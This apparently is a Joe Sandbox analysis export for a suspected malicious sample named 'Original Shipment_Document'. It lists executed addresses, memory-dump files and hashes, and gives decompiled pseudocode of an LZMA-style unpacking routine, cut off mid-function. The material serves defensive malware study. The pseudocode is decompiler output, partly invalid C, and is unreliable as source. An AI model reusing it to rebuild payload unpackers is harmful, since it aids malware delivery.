0x004073b9
0x0040738f
0x0040738f
0x0040739e
0x004073a1
0x004073a1
0x004073c3
0x00407363
0x00407363
0x00407363
0x00407366
0x0040736a
0x00000000
0x00000000
0x00000000
0x004073c5
0x004073c5
0x0040733e
0x00407342
0x0040747a
0x0040747a
0x00407484
0x0040748c
0x00407493
0x00407495
0x0040749c
0x004074a0
0x004074a0
0x00407348
0x0040734e
0x00407355
0x0040735d
0x0040735d
0x00407360
0x00000000
0x00407360
0x004073ca
0x004073d7
0x004073da
0x004072e6
0x004072e6
0x004072e6
0x00406a82
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00406a91
0x00000000
0x00406a98
0x00406a9c
0x00000000
0x00000000
0x00406aa2
0x00406aa5
0x00406aa8
0x00406aab
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406afb
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406afd
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x004073ed
0x00000000
0x004073ed
0x00406b47
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b69
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b71
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x004073fc
0x00000000
0x004073fc
0x00406bb7
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004072bb
0x004072bf
0x0040746e
0x0040746e
0x00000000
0x0040746e
0x004072c5
0x004072cb
0x004072d2
0x004072da
0x004072dd
0x004072e0
0x004072e0
0x004072e6
0x004072e6
0x00000000
0x00000000
0x00406bfe
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x00000000
0x00406c8b
0x00406c05
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6c
0x00406c6e
0x00000000
0x00406c50
0x00406c50
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00406c67
0x00000000
0x00406e9d
0x00406e9d
0x00406ea1
0x00406ebf
0x00406ebf
0x00406ec2
0x00406ec9
0x00406ecc
0x00406ecf
0x00406ed2
0x00406ed5
0x00406ed8
0x00406eda
0x00406ee1
0x00406ee2
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406eed
0x00406ef2
0x00000000
0x00406ef2
0x00406ea3
0x00406ea3
0x00406ea6
0x00406ea9
0x00406eb3
0x00000000
0x00000000
0x00406f07
0x00406f07
0x00406f0b
0x00406f2e
0x00406f31
0x00406f34
0x00406f3e
0x00406f0d
0x00406f0d
0x00406f10
0x00406f13
0x00406f16
0x00406f23
0x00406f26
0x00406f26
0x00000000
0x00000000
0x00406f4a
0x00406f4a
0x00406f4e
0x00000000
0x00000000
0x00406f54
0x00406f54
0x00406f58
0x00000000
0x00000000
0x00406f5e
0x00406f5e
0x00406f60
0x00406f64
0x00406f64
0x00406f67
0x00406f6b
0x00000000
0x00000000
0x00406fbb
0x00406fbb
0x00406fbf
0x00406fc6
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fd6
0x00000000
0x00406fd6
0x00406fc1
0x00406fc1
0x00000000
0x00000000
0x00406fe2
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00406ffc
0x00406ffc
0x00406fff
0x00407002
0x00407005
0x00407005
0x00407008
0x0040700f
0x00407014
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00407450
0x00000000
0x00407450
0x0040712f
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00406ef5
0x00406ef5
0x00406ef8
0x00000000
0x00000000
0x00407234
0x00407234
0x00407238
0x0040725a
0x0040725a
0x0040725d
0x00407267
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040723a
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x0040732f
0x00407332
0x00407339
0x00000000
0x0040733c
0x004072f7
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e2
0x004073e5
0x004072e6
0x004072e6
0x004072e6
0x00000000
0x004072ec
0x00000000
0x0040701c
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x0040733c
0x00000000
0x00000000
0x00000000
0x00407061
0x00407061
0x00407064
0x0040709a
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fa
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00407462
0x00000000
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000
0x00407499
0x004072e6
0x00407366
0x0040732f

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160a6c4a4e350cf2f60414e9b8c3d58ffbaab185e4b8aaf92204dccf5df956fa
Instruction ID: a7cd93b13192ddc82b920214167f5e61206f8c8658b3f9d41a1d2146159b2bab
Opcode Fuzzy Hash: 160a6c4a4e350cf2f60414e9b8c3d58ffbaab185e4b8aaf92204dccf5df956fa
Instruction Fuzzy Hash: 7DA15571E04229CBDB28CFA8C8446ADBBB1FF44305F14816ED856BB281C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407234 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407234() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004074A1))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
